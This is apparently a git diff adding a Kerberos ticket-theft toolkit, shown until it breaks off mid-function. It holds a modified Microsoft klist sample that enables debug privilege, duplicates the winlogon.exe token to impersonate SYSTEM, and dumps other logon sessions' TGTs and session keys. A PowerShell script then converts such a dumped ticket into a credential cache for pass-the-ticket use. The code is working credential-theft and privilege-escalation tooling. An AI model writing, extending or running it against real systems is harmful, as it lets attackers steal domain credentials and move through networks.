diff --git a/Kerberos.NET.dll b/Kerberos.NET.dll
new file mode 100644
index 0000000..bfa77e4
Binary files /dev/null and b/Kerberos.NET.dll differ
diff --git a/Microsoft.Bcl.AsyncInterfaces.dll b/Microsoft.Bcl.AsyncInterfaces.dll
new file mode 100644
index 0000000..c828d99
Binary files /dev/null and b/Microsoft.Bcl.AsyncInterfaces.dll differ
diff --git a/Microsoft.Extensions.DependencyInjection.Abstractions.dll b/Microsoft.Extensions.DependencyInjection.Abstractions.dll
new file mode 100644
index 0000000..6d03e3d
Binary files /dev/null and b/Microsoft.Extensions.DependencyInjection.Abstractions.dll differ
diff --git a/Microsoft.Extensions.Logging.Abstractions.dll b/Microsoft.Extensions.Logging.Abstractions.dll
new file mode 100644
index 0000000..d69ff03
Binary files /dev/null and b/Microsoft.Extensions.Logging.Abstractions.dll differ
diff --git a/klist-convertst.ps1 b/klist-convertst.ps1
new file mode 100644
index 0000000..7eca50c
--- /dev/null
+++ b/klist-convertst.ps1
@@ -0,0 +1,280 @@
+param(
+ [string]$inputfile,
+ [string]$outputfile
+)
+
+#Path to DLL's for dumping
+$wd = $(get-location).Path
+
+$path = "$wd\Kerberos.NET.dll"
+$path2 = "$wd\Microsoft.Extensions.Logging.Abstractions.dll"
+$path3 = "$wd\System.Buffers.dll"
+
+
+$null = [System.Reflection.Assembly]::LoadFrom($path2)
+$tmp = [System.Reflection.Assembly]::LoadFrom($path)
+$null = [System.Reflection.Assembly]::LoadFrom($path3)
+
+Add-Type -AssemblyName "System.Collections"
+
+#path to text file with ticket
+#$p = "c:\users\Administrator\desktop\so.txt"
+#$p = "C:\Users\Administrator\Desktop\klist-convertv2\pp05.txt"
+$p = $inputfile
+#path to the output cache file
+$outpath = $outputfile
+
+function convertDatestring($tmpstring){
+
+ $i = $tmpstring.indexof(':')
+ $tmptime = $($tmpstring.Substring($i + 2)).split('(')[0]
+ $da = get-date -Date $tmptime
+ $t = [int][double]($da.ToUniversalTime() - [datetime]'1970-01-01').TotalSeconds
+ return $t
+
+}
+
+function Convert-HexStringToBytes {
+ [CmdletBinding()]
+ param(
+ [Parameter(Mandatory = $true)]
+ [string] $HexString
+ )
+
+ $bytes = [byte[]]::new($HexString.Length / 2)
+ for ($i = 0; $i -lt $HexString.Length; $i += 2) {
+ $bytes[$i / 2] = [byte]::Parse($HexString.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
+ }
+
+ return $bytes
+}
+
+
+enum TicketFlags
+ {
+
+ #
+ # Reserved. Indicates the absense of flags.
+ #
+ None = -1
+
+ #
+ # Reserved for future extension.
+ #
+ Reserved = 1 -shl 31
+
+ #
+ # Tells the ticket-granting service that it can issue a new TGT—based on the
+ # presented TGT—with a different network address based on the presented TGT.
+ #
+ Forwardable = 1 -shl 30
+
+ #
+ # Indicates either that a TGT has been forwarded or that a ticket was issued from a forwarded TGT.
+ #
+ Forwarded = 1 -shl 29
+
+ #
+ # Tells the ticket-granting service that it can issue tickets with a network address that
+ # differs from the one in the TGT.
+ #
+ Proxiable = 1 -shl 28
+
+ #
+ # Indicates that the network address in the ticket is different from the one in the TGT
+ # used to obtain the ticket.
+ #
+ Proxy = 1 -shl 27
+
+ #
+ # Indicates the requested ticket may be post-dated for use in future.
+ #
+ #[Description("May Post-date")]
+ MayPostDate = 1 -shl 26
+
+ #
+ # Indicates the requested ticket is post-dated for use in the future.
+ #
+ #[Description("Post-dated")]
+ PostDated = 1 -shl 25
+
+ #
+ # This flag indicates that a ticket is invalid, and it must be validated by the KDC before use.
+ # Application servers must reject tickets which have this flag set.
+ #
+ Invalid = 1 -shl 24
+
+ #
+ # Used in combination with the End Time and Renew Till fields to cause tickets with long life
+ # spans to be renewed at the KDC periodically.
+ #
+ Renewable = 1 -shl 23
+
+ #
+ # Indicates that a ticket was issued using the authentication service (AS) exchange and
+ # not issued based on a TGT.
+ #
+ Initial = 1 -shl 22
+
+ #
+ # Indicates that the client was authenticated by the KDC before a ticket was issued.
+ # This flag usually indicates the presence of an authenticator in the ticket.
+ # It can also flag the presence of credentials taken from a smart card logon.
+ #
+ #[Description("Pre-Authenticated")]
+ PreAuthenticated = 1 -shl 21
+
+ #
+ # This flag was originally intended to indicate that hardware-supported authentication
+ # was used during pre-authentication. This flag is no longer recommended in the Kerberos
+ # V5 protocol. KDCs MUST NOT issue a ticket with this flag set. KDCs SHOULD NOT preserve
+ # this flag if it is set by another KDC.
+ #
+ #[Description("Hardware Authenticated")]
+ HardwareAuthentication = 1 -shl 20
+
+ #
+ # Application servers MUST ignore the TRANSITED-POLICY-CHECKED flag.
+ #
+ #[Description("Transit Policy-Checked")]
+ TransitPolicyChecked = 1 -shl 19
+
+ #
+ # The KDC MUST set the OK-AS-DELEGATE flag if the service account is trusted for delegation.
+ #
+ #[Description("Ok as Delegate")]
+ OkAsDelegate = 1 -shl 18
+
+ #
+ # Indicates the client supports FAST negotiation.
+ #
+ # [Description("Encrypted Pre-Authentication")]
+ EncryptedPreAuthentication = 1 -shl 16
+
+ #
+ # Indicates the ticket is anonymous.
+ #
+ Anonymous = 1 -shl 15
+ }
+
+
+
+
+$fullfile = get-content $p
+$totallines = $fullfile.Length
+$ticketfilelines = $totallines - 14
+
+$first = Get-Content -TotalCount 14 -path $p
+
+$ticketfile = Get-Content -tail $ticketfilelines -path $p | ForEach-Object { $_.Substring(6) }
+
+
+$servicename = $($first[0] -split ':')[1].Trim()
+$username = $($first[2] -split ':')[1].Trim()
+$realm = $($first[3] -split ':')[1].Trim()
+
+
+$un = New-Object System.Collections.Generic.List[string]
+$un.add($username)
+
+
+$user = [Kerberos.NET.Entities.PrincipalName]::new([Kerberos.NET.Entities.PrincipalNameType]::NT_PRINCIPAL,$realm,$un)
+
+$servname = New-Object System.Collections.Generic.List[string]
+$servname.add($servicename)
+$server = [Kerberos.NET.Entities.PrincipalName]::new([Kerberos.NET.Entities.PrincipalNameType]::NT_SRV_INST, $realm,$servname)
+
+#$kerbkeytmp = [byte[]](0x7f,0x77,0x5c,0x86,0xf6,0x6e,0x6a,0x70,0xb2,0xc2,0xc6,0x29,0xe0,0x0d,0xa0,0xa7,0xf0,0xd6,0xb3,0x70,0x93,0xb5,0x44,0x6c,0xd8,0x80,0x77,0x08,0x35,0xbb,0xcc,0x68)
+#$kerbkey = [System.ReadOnlyMemory[byte]]::new([byte[]](0x7f,0x77,0x5c,0x86,0xf6,0x6e,0x6a,0x70,0xb2,0xc2,0xc6,0x29,0xe0,0x0d,0xa0,0xa7,0xf0,0xd6,0xb3,0x70,0x93,0xb5,0x44,0x6c,0xd8,0x80,0x77,0x08,0x35,0xbb,0xcc,0x68))
+
+$q = $first[8].IndexOf('-')
+$kerbkeytmp = $($first[8].Substring($q +2)) -replace '[^0-9A-Fa-f]', ''
+$kerbkeybytes = Convert-HexStringToBytes -HexString $kerbkeytmp
+
+$kerbkey = [System.ReadOnlyMemory[byte]]::new([byte[]]($kerbkeybytes))
+
+$encryptionType = [Kerberos.NET.Crypto.EncryptionType]::AES256_CTS_HMAC_SHA1_96
+#$keyValuePair = new-object [System.Collections.Generic.KeyValuePair[EncryptionType, [System.ReadOnlyMemory[byte]]]
+
+$keyValuePair = [System.Collections.Generic.KeyValuePair[Kerberos.NET.Crypto.EncryptionType, [System.ReadOnlyMemory[byte]]]]::new($encryptionType, $kerbkey)
+
+
+
+$starttimetmp = convertDateString($first[9])
+$authtimetmp = $starttime
+$endtimetmp = convertDateString($first[10])
+$renewtimetmp = ConvertDateString($first[11])
+
+$epoch = [datetime]'1970-01-01T00:00:00Z'
+
+$authtime = $epoch.AddSeconds($starttimetmp)
+$starttime = $epoch.AddSeconds($starttimetmp)
+$endtime = $epoch.AddSeconds($endtimetmp)
+$renewtime = $epoch.AddSeconds($renewtimetmp)
+
+$iskey = $false
+
+#$tflags = [ticketflags]::Initial -bor [ticketflags]::Renewable -bor [ticketflags]::Forwardable -bor [ticketflags]::PreAuthenticated
+#$tflagsline = $first[6]
+#if ($tflagsline -match 'TicketFlags\s+:\s+\((0x[0-9a-fA-F]+)\)') {
+# $tflags = [UInt32]::Parse($matches[1].Substring(2), 'HexNumber')
+#}
+
+#($test -split '[`(`)]')[1]
+$tflagsline = $first[6]
+$tflagshex = ($tflagsline -split '[()]')[1]
+$tflags = [Convert]::ToUInt32($tflagshex, 16)
+$tflags = [ticketflags]::Forwardable -bor [ticketflags]::Renewable -bor [ticketflags]::PreAuthenticated -bor [ticketflags]::OkAsDelegate
+
+$krbinfo = [Kerberos.NET.Entities.KrbCredInfo]::new()
+$krbenckey = [Kerberos.NET.Entities.KrbEncryptionKey]::new()
+$krbenckey.EType = $encryptionType
+$krbenckey.KeyValue = $kerbkey
+
+$krbinfo.Key = $krbenckey
+$krbinfo.SRealm = $realm
+$krbinfo.AuthTime = $authtime
+$krbinfo.EndTime = $endtime
+$krbinfo.RenewTill = $renewtime
+$krbinfo.Flags = $tflags
+$krbinfo.PName = $user
+$krbinfo.StartTime = $starttime
+
+
+
+
+$tfile = $ticketfile -replace '[^0-9A-Fa-f]', ''
+$hs = ''
+$j = 0
+$i = $ticketfilelines - 1
+for($j; $j -lt $i; $j++) { $y = $tfile[$j]; $r = $y.substring(0,32); $hs += $r.Trim() }
+
+
+#$hs += $tfile[$ticketfilelines - 1]
+$tmp = $ticketfile[$ticketfilelines - 1]
+$tmpl = $tmp.length
+$hs += $($tmp.substring(0,$tmpl)) -replace '[^0-9A-Fa-f]', ''
+
+$bbytes = Convert-HexStringToBytes -HexString $hs
+$c = [System.ReadOnlyMemory[byte]]::new($bbytes)
+$d = [Kerberos.NET.Entities.KrbTicket]::DecodeApplication($c)
+
+$KRBCRED = [Kerberos.NET.Entities.KrbCred]::WrapTicket($d, $krbinfo)
+$cpart = $krbcred.Validate()
+$z = $KRBCRED.tickets[0]
+$zinfo = $cpart.TicketInfo[0]
+$zinfo.realm = $realm
+
+$ticketcacheentry = [Kerberos.NET.TicketCacheEntry]::ConvertKrbCredToCacheEntry($cpart, $z, $zinfo)
+
+$cache = [Kerberos.NET.Client.Krb5CredentialCache]::new()
+$kdcClientOffset = [Kerberos.NET.Client.Krb5CredentialCacheTag]::KdcClientOffset
+
+
+$cache.version = 4
+$cache.DefaultPrincipalName = $user
+$ttype = $cache.GetType()
+$method = $ttype.GetMethod("Add", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Instance)
+$method.Invoke($cache,@($ticketcacheentry))
+
+[System.IO.File]::WriteAllBytes($outpath, $cache.GetType().GetMethod("Serialize", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Instance).Invoke($cache,@()))
diff --git a/klist2.cpp b/klist2.cpp
new file mode 100644
index 0000000..66b79a2
--- /dev/null
+++ b/klist2.cpp
@@ -0,0 +1,1456 @@
+/*--
+
+THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
+ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
+TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
+PARTICULAR PURPOSE.
+
+Copyright (C) 1999 - 2000 Microsoft Corporation. All rights reserved.
+
+Module Name:
+
+ klist.c
+
+Abstract:
+
+ Sample program that demonstrates how to:
+ query Kerberos ticket cache
+ purge Kerberos tickets from cache
+ request service ticket
+
+Author:
+
+ David Mowers (davemo) 14-October-98
+
+Revision History:
+
+--*/
+
+
+//
+// Common include files.
+//
+#define UNICODE
+#define _UNICODE
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#define SECURITY_WIN32
+#include
+#include
+#include
+#include
+#include
+#include // For ConvertStringSidToSid
+#include
+
+#define INTERACTIVE_PURGE 1
+
+#define SEC_SUCCESS(Status) ((Status) >= 0)
+
+VOID
+InitUnicodeString(
+ PUNICODE_STRING DestinationString,
+ PCWSTR SourceString OPTIONAL
+ );
+
+VOID
+ShowLastError(
+ const char* szAPI,
+ DWORD dwError
+ );
+
+VOID
+ShowNTError(
+ const char* szAPI,
+ NTSTATUS Status
+ );
+
+BOOL
+PackageConnectLookup(
+ HANDLE *pLogonHandle,
+ ULONG *pPackageId
+ );
+
+BOOL
+ShowTickets(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ DWORD dwMode
+ );
+
+BOOL
+ShowTgt(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ LUID L
+ );
+BOOL
+ShowAll(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ LUID L
+);
+
+DWORD
+GetEncodedTicket(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ wchar_t *Server
+ );
+
+
+
+//bool move(HANDLE LogonHandle, ULONG PackageId, LUID dl, LUID tl);
+bool move2(HANDLE LogonHandle, ULONG PackageId, wchar_t* Server, LUID tl);
+
+typedef struct _KERB_RETRIEVE_ENCODED_TICKET_RESPONSE {
+ PKERB_EXTERNAL_NAME ServiceName;
+ PKERB_EXTERNAL_NAME TargetName;
+ UNICODE_STRING DomainName;
+ UNICODE_STRING TargetDomainName;
+ UNICODE_STRING AltTargetDomainName;
+ KERB_CRYPTO_KEY SessionKey;
+ ULONG TicketFlags;
+ LARGE_INTEGER ExpirationTime;
+ LARGE_INTEGER StartTime;
+ LARGE_INTEGER RenewUntil;
+ LARGE_INTEGER TimeSkew;
+ ULONG EncodedTicketSize;
+ PUCHAR EncodedTicket;
+} KERB_RETRIEVE_ENCODED_TICKET_RESPONSE, * PKERB_RETRIEVE_ENCODED_TICKET_RESPONSE;
+
+
+
+
+BOOL EnablePrivilege(LPCWSTR privName) {
+ HANDLE hToken;
+ TOKEN_PRIVILEGES tp;
+ LUID luid;
+
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
+ return FALSE;
+
+ if (!LookupPrivilegeValue(NULL, privName, &luid)) {
+ CloseHandle(hToken);
+ return FALSE;
+ }
+
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ BOOL success = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
+ CloseHandle(hToken);
+ return success && GetLastError() == ERROR_SUCCESS;
+}
+
+void PrintHexDump(const unsigned char* data, size_t size) {
+ const size_t bytesPerLine = 16;
+
+ for (size_t i = 0; i < size; i += bytesPerLine) {
+ // Offset
+ printf("%04zx ", i);
+
+ // Hex output with ":" separator after 8 bytes
+ for (size_t j = 0; j < bytesPerLine; ++j) {
+ if (i + j < size) {
+ if(j == 7)
+ printf("%02x", data[i + j]);
+ else
+ printf("%02x ", data[i + j]);
+ }
+
+ else
+ printf(" ");
+
+ if (j == 7)
+ printf(":");
+ }
+
+ printf("\n");
+ }
+}
+
+
+// Function to check if the current user is LocalSystem
+bool IsCurrentUserLocalSystem()
+{
+ HANDLE hToken = nullptr;
+ if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) {
+ // If there's no thread token, fall back to process token
+ if (GetLastError() == ERROR_NO_TOKEN) {
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
+ std::cout << "OpenProcessToken failed" << std::endl;
+ return false;
+ }
+ }
+ else {
+ std::cout << "OpenThreadToken failed" << std::endl;
+ return false;
+ }
+ }
+
+ BYTE buffer[SECURITY_MAX_SID_SIZE];
+ DWORD sidSize = sizeof(buffer);
+ PSID localSystemSid = buffer;
+
+ if (!CreateWellKnownSid(WinLocalSystemSid, NULL, localSystemSid, &sidSize)) {
+ CloseHandle(hToken);
+ std::cout << "CreateWellKnownSid failed" << std::endl;
+ return false;
+ }
+
+ TOKEN_USER* tokenUser = nullptr;
+ DWORD dwSize = 0;
+ GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
+ tokenUser = (TOKEN_USER*)malloc(dwSize);
+
+ if (!GetTokenInformation(hToken, TokenUser, tokenUser, dwSize, &dwSize)) {
+ free(tokenUser);
+ CloseHandle(hToken);
+ return false;
+ }
+
+ BOOL result = EqualSid(tokenUser->User.Sid, localSystemSid);
+ free(tokenUser);
+ CloseHandle(hToken);
+ return result;
+}
+
+
+
+
+
+bool ImpersonateSystemFromProcess()
+{
+ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (hSnapshot == INVALID_HANDLE_VALUE) return false;
+
+ PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
+ DWORD pid = 0;
+
+ if (Process32First(hSnapshot, &pe)) {
+ do {
+ if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
+ pid = pe.th32ProcessID;
+ break;
+ }
+ } while (Process32Next(hSnapshot, &pe));
+ }
+ CloseHandle(hSnapshot);
+
+ if (!pid) return false;
+ HANDLE hProc = nullptr, hToken = nullptr, hDupToken = nullptr;
+
+ // Find PID of winlogon.exe (or services.exe, etc.)
+ // Let's say it's stored in `pid` already.
+
+ hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+ if (!hProc) {
+ std::cout << "OpenProcess failed" << std::endl;
+ return false;
+ }
+
+ if (!OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
+
+ std::cout << "OpenProcessToken failed" << std::endl;
+ return false;
+ }
+
+
+ if (!DuplicateTokenEx(
+ hToken,
+ MAXIMUM_ALLOWED,
+ nullptr,
+ SecurityImpersonation,
+ TokenImpersonation,
+ &hDupToken))
+ {
+ std::cout << "DuplicateToken failed" << std::endl;
+ CloseHandle(hToken);
+ return false;
+ }
+
+ /*if (!SetThreadToken(nullptr, hDupToken))
+ {
+
+ CloseHandle(hToken);
+ CloseHandle(hDupToken);
+ return false;
+ }
+ */
+ if (!ImpersonateLoggedOnUser(hDupToken)) {
+
+ std::cout << "ImpersonateLoggedOnUser failed" << std::endl;
+ return false;
+
+ }
+
+ if (!IsCurrentUserLocalSystem()) {
+
+ std::cout << "We are not system, unknown error" << std::endl;
+
+ }
+
+ // Success
+ CloseHandle(hToken);
+ CloseHandle(hDupToken);
+ CloseHandle(hProc);
+ return true;
+}
+
+void RevertIfImpersonated()
+{
+ RevertToSelf(); // Reverts thread token only
+}
+
+const char* GetKeyTypeName(ULONG keyType) {
+ switch (keyType) {
+ case 0x12: return "AES-256-CTS-HMAC-SHA1-96";
+ case 0x11: return "AES-128-CTS-HMAC-SHA1-96";
+ case 0x17: return "RC4-HMAC";
+ case 0x18: return "RC4-HMAC-EXP";
+ default: return "Unknown";
+ }
+}
+
+void PrintSessionKey(KERB_CRYPTO_KEY key) {
+ printf("Session Key : KeyType 0x%02X - %s\n", key.KeyType, GetKeyTypeName(key.KeyType));
+ printf(" : KeyLength %lu - ", key.Length);
+ // printf("Session Key Value : ");
+
+ for (ULONG i = 0; i < key.Length; i++) {
+ printf("%02X", ((BYTE*)key.Value)[i]);
+ printf(" ");
+ }
+ printf("\n");
+}
+
+
+LUID ParseLuid(const std::wstring& lowHex, const std::wstring& highHex = L"0x0") {
+ LUID luid;
+ luid.LowPart = static_cast(std::stoul(lowHex, nullptr, 0)); // base 0 = auto-detect hex or dec
+ luid.HighPart = static_cast(std::stol(highHex, nullptr, 0));
+ return luid;
+}
+
+
+
+
+int __cdecl
+wmain(
+ int argc,
+ wchar_t *argv[]
+ )
+{
+
+ HANDLE LogonHandle = NULL;
+ ULONG PackageId;
+
+ if (argc < 2)
+ {
+ printf("Usage: %S , <-lh> | all <-li>, <-lh> | move -li <-lh> | move2 [service principal name(for get)] -li <-lh> | purge | get> [service principal name(for get)]\n",argv[0]);
+ return FALSE;
+ }
+
+ //
+ // Get the logon handle and package ID from the
+ // Kerberos package
+ //
+ if(!PackageConnectLookup(&LogonHandle, &PackageId))
+ return FALSE;
+
+ if(!_wcsicmp(argv[1],L"tickets"))
+ {
+ ShowTickets(LogonHandle, PackageId, 0);
+ }
+ else if(!_wcsicmp(argv[1],L"tgt"))
+ {
+ std::wstring lowarg = L"0x0";
+ std::wstring higharg = L"0x0";
+ bool system = FALSE;
+ for (int i = 1; i < argc; i++) {
+ if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) {
+ lowarg = argv[++i];
+ system = TRUE;
+ }
+ else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) {
+ higharg = argv[++i];
+ system = TRUE;
+ }
+ }
+
+ LUID luid = ParseLuid(lowarg, higharg);
+ //if(!_wcsicmp(argv))
+
+ if (system) {
+ EnablePrivilege(SE_DEBUG_NAME);
+ EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
+ //bool test = TemporarilyImpersonateSystem();
+
+
+ bool test = ImpersonateSystemFromProcess();
+
+ if (IsCurrentUserLocalSystem()) {
+
+ std::cout << "token is system" << std::endl;
+ }
+ else {
+ std::cout << "System elevation failed" << std::endl;
+
+ }
+ }
+
+ ShowTgt(LogonHandle, PackageId, luid);
+ RevertIfImpersonated();
+ }
+ else if (!_wcsicmp(argv[1], L"all"))
+ {
+ std::wstring lowarg = L"0x0";
+ std::wstring higharg = L"0x0";
+ bool system = FALSE;
+
+
+ for (int i = 1; i < argc; i++) {
+ if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) {
+ lowarg = argv[++i];
+ system = TRUE;
+ }
+ else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) {
+ higharg = argv[++i];
+ system = TRUE;
+ }
+ }
+
+ LUID luid = ParseLuid(lowarg, higharg);
+
+ if (system) {
+ EnablePrivilege(SE_DEBUG_NAME);
+ EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
+
+ // bool test1 = TemporarilyImpersonateSystem();
+ bool test1 = ImpersonateSystemFromProcess();
+ if (IsCurrentUserLocalSystem()) {
+
+ std::cout << "token is system" << std::endl;
+ }
+ else {
+ std::cout << "System elevation failed" << std::endl;
+
+ }
+ }
+ ShowAll(LogonHandle, PackageId, luid);
+ RevertIfImpersonated();
+ }
+ /* else if (!_wcsicmp(argv[1], L"move")) {
+
+ std::wstring tlowarg = L"0x0";
+ std::wstring thigharg = L"0x0";
+ std::wstring dlowarg = L"0x0";
+ std::wstring dhigharg = L"0x0";
+
+ for (int i = 1; i < argc; i++) {
+ if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) {
+ tlowarg = argv[++i];
+
+ }
+ else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) {
+ thigharg = argv[++i];
+
+ }
+ }
+ LUID tluid = ParseLuid(tlowarg, thigharg);
+ LUID dluid = ParseLuid(dlowarg, dhigharg);
+ EnablePrivilege(SE_DEBUG_NAME);
+ EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
+
+ // bool test1 = TemporarilyImpersonateSystem();
+ bool test1 = ImpersonateSystemFromProcess();
+ if (IsCurrentUserLocalSystem()) {
+
+ std::cout << "token is system" << std::endl;
+ }
+ else {
+ std::cout << "System elevation failed" << std::endl;
+
+ }
+
+ move(LogonHandle, PackageId, dluid, tluid);
+ RevertIfImpersonated();
+
+ }*/
+ else if (!_wcsicmp(argv[1], L"move2")) {
+
+ std::wstring tlowarg = L"0x0";
+ std::wstring thigharg = L"0x0";
+ std::wstring dlowarg = L"0x0";
+ std::wstring dhigharg = L"0x0";
+
+ for (int i = 1; i < argc; i++) {
+ if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) {
+ tlowarg = argv[++i];
+
+ }
+ else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) {
+ thigharg = argv[++i];
+
+ }
+ }
+ LUID tluid = ParseLuid(tlowarg, thigharg);
+ LUID dluid = ParseLuid(dlowarg, dhigharg);
+ EnablePrivilege(SE_DEBUG_NAME);
+ EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
+
+ // bool test1 = TemporarilyImpersonateSystem();
+ bool test1 = ImpersonateSystemFromProcess();
+ if (IsCurrentUserLocalSystem()) {
+
+ std::cout << "token is system" << std::endl;
+ }
+ else {
+ std::cout << "System elevation failed" << std::endl;
+
+ }
+
+ move2(LogonHandle, PackageId, argv[2], tluid);
+ RevertIfImpersonated();
+
+ }
+
+ else if(!_wcsicmp(argv[1],L"purge"))
+ {
+ ShowTickets(LogonHandle, PackageId, INTERACTIVE_PURGE);
+ }
+ else if(!_wcsicmp(argv[1],L"get"))
+ {
+ if(argc < 3)
+ {
+ printf("Provide service principal name (SPN) of encoded ticket to retrieve\n");
+ }
+ else
+ GetEncodedTicket(LogonHandle, PackageId, argv[2]);
+ }
+ else
+ {
+ printf("Usage: %S [service principal name(for get)]\n",argv[0]);
+ }
+
+ if (LogonHandle != NULL)
+ {
+ LsaDeregisterLogonProcess(LogonHandle);
+ }
+
+ return TRUE;
+
+}
+
+VOID
+PrintKerbName(
+ PKERB_EXTERNAL_NAME Name
+ )
+{
+ ULONG Index;
+ for (Index = 0; Index < Name->NameCount ; Index++ )
+ {
+ printf("%wZ",&Name->Names[Index]);
+ if ((Index+1) < Name->NameCount)
+ printf("/");
+ }
+ printf("\n");
+}
+
+VOID
+PrintTime(
+ const char* Comment,
+ TimeStamp ConvertTime
+ )
+{
+
+ printf( "%s", Comment );
+
+ //
+ // If the time is infinite,
+ // just say so.
+ //
+ if ( ConvertTime.HighPart == 0x7FFFFFFF && ConvertTime.LowPart == 0xFFFFFFFF ) {
+ printf( "Infinite\n" );
+
+ //
+ // Otherwise print it more clearly
+ //
+ } else {
+
+ SYSTEMTIME SystemTime;
+ FILETIME LocalFileTime;
+
+ if( FileTimeToLocalFileTime(
+ (PFILETIME) &ConvertTime,
+ &LocalFileTime
+ ) &&
+ FileTimeToSystemTime(
+ &LocalFileTime,
+ &SystemTime
+ ) )
+ {
+
+ printf( "%ld/%ld/%ld %ld:%2.2ld:%2.2ld\n",
+ SystemTime.wMonth,
+ SystemTime.wDay,
+ SystemTime.wYear,
+ SystemTime.wHour,
+ SystemTime.wMinute,
+ SystemTime.wSecond );
+ }
+ else
+ {
+ printf( "%ld\n", (long)(ConvertTime.QuadPart/(10*1000*1000)));
+ }
+ }
+
+}
+
+VOID
+PrintEType(
+ int etype
+ )
+{
+
+#define AddEtype(n) { n, L###n }
+
+ struct _etype {
+ int etype;
+ LPCWSTR ename;
+ } enames[] = {
+ AddEtype(KERB_ETYPE_NULL),
+ AddEtype(KERB_ETYPE_DES_CBC_CRC),
+ AddEtype(KERB_ETYPE_DES_CBC_MD4),
+ AddEtype(KERB_ETYPE_DES_CBC_MD5),
+ AddEtype(KERB_ETYPE_DES_PLAIN),
+ AddEtype(KERB_ETYPE_RC4_MD4),
+ AddEtype(KERB_ETYPE_RC4_PLAIN2),
+ AddEtype(KERB_ETYPE_RC4_LM),
+ AddEtype(KERB_ETYPE_RC4_SHA),
+ AddEtype(KERB_ETYPE_DES_PLAIN),
+ AddEtype(KERB_ETYPE_RC4_HMAC_OLD),
+ AddEtype(KERB_ETYPE_RC4_PLAIN_OLD),
+ AddEtype(KERB_ETYPE_RC4_HMAC_OLD_EXP),
+ AddEtype(KERB_ETYPE_RC4_PLAIN_OLD_EXP),
+ AddEtype(KERB_ETYPE_RC4_PLAIN),
+ AddEtype(KERB_ETYPE_RC4_PLAIN_EXP),
+ AddEtype(KERB_ETYPE_DSA_SIGN),
+ AddEtype(KERB_ETYPE_RSA_PRIV),
+ AddEtype(KERB_ETYPE_RSA_PUB),
+ AddEtype(KERB_ETYPE_RSA_PUB_MD5),
+ AddEtype(KERB_ETYPE_RSA_PUB_SHA1),
+ AddEtype(KERB_ETYPE_PKCS7_PUB),
+ AddEtype(KERB_ETYPE_DES_CBC_MD5_NT),
+ AddEtype(KERB_ETYPE_RC4_HMAC_NT),
+ AddEtype(KERB_ETYPE_RC4_HMAC_NT_EXP),
+ {-1, 0}
+ };
+ int i;
+
+ for (i = 0; enames[i].ename != 0; i++) {
+ if (etype == enames[i].etype) {
+ printf("session key : (%d) %S\n",
+ etype,
+ enames[i].ename);
+ return;
+ }
+ }
+ printf("session key : %d\n", etype);
+}
+
+
+VOID
+PrintTktFlags(
+ ULONG flags
+ )
+{
+ if (flags & KERB_TICKET_FLAGS_forwardable) {
+ printf("forwardable ");
+ }
+ if (flags & KERB_TICKET_FLAGS_forwarded) {
+ printf("forwarded ");
+ }
+ if (flags & KERB_TICKET_FLAGS_proxiable) {
+ printf("proxiable ");
+ }
+ if (flags & KERB_TICKET_FLAGS_proxy) {
+ printf("proxy ");
+ }
+ if (flags & KERB_TICKET_FLAGS_may_postdate) {
+ printf("may_postdate ");
+ }
+ if (flags & KERB_TICKET_FLAGS_postdated) {
+ printf("postdated ");
+ }
+ if (flags & KERB_TICKET_FLAGS_invalid) {
+ printf("invalid ");
+ }
+ if (flags & KERB_TICKET_FLAGS_renewable) {
+ printf("renewable ");
+ }
+ if (flags & KERB_TICKET_FLAGS_initial) {
+ printf("initial ");
+ }
+ if (flags & KERB_TICKET_FLAGS_hw_authent) {
+ printf("hw_auth ");
+ }
+ if (flags & KERB_TICKET_FLAGS_pre_authent) {
+ printf("preauth ");
+ }
+ if (flags & KERB_TICKET_FLAGS_ok_as_delegate) {
+ printf("delegate ");
+ }
+ printf("\n");
+}
+
+BOOL
+PackageConnectLookup(
+ HANDLE *pLogonHandle,
+ ULONG *pPackageId
+ )
+{
+ LSA_STRING Name;
+ NTSTATUS Status;
+
+ Status = LsaConnectUntrusted(
+ pLogonHandle
+ );
+
+ if (!SEC_SUCCESS(Status))
+ {
+
+ ShowNTError("LsaConnectUntrusted", Status);
+ return FALSE;
+ }
+
+ Name.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A;
+ Name.Length = (USHORT)strlen(Name.Buffer);
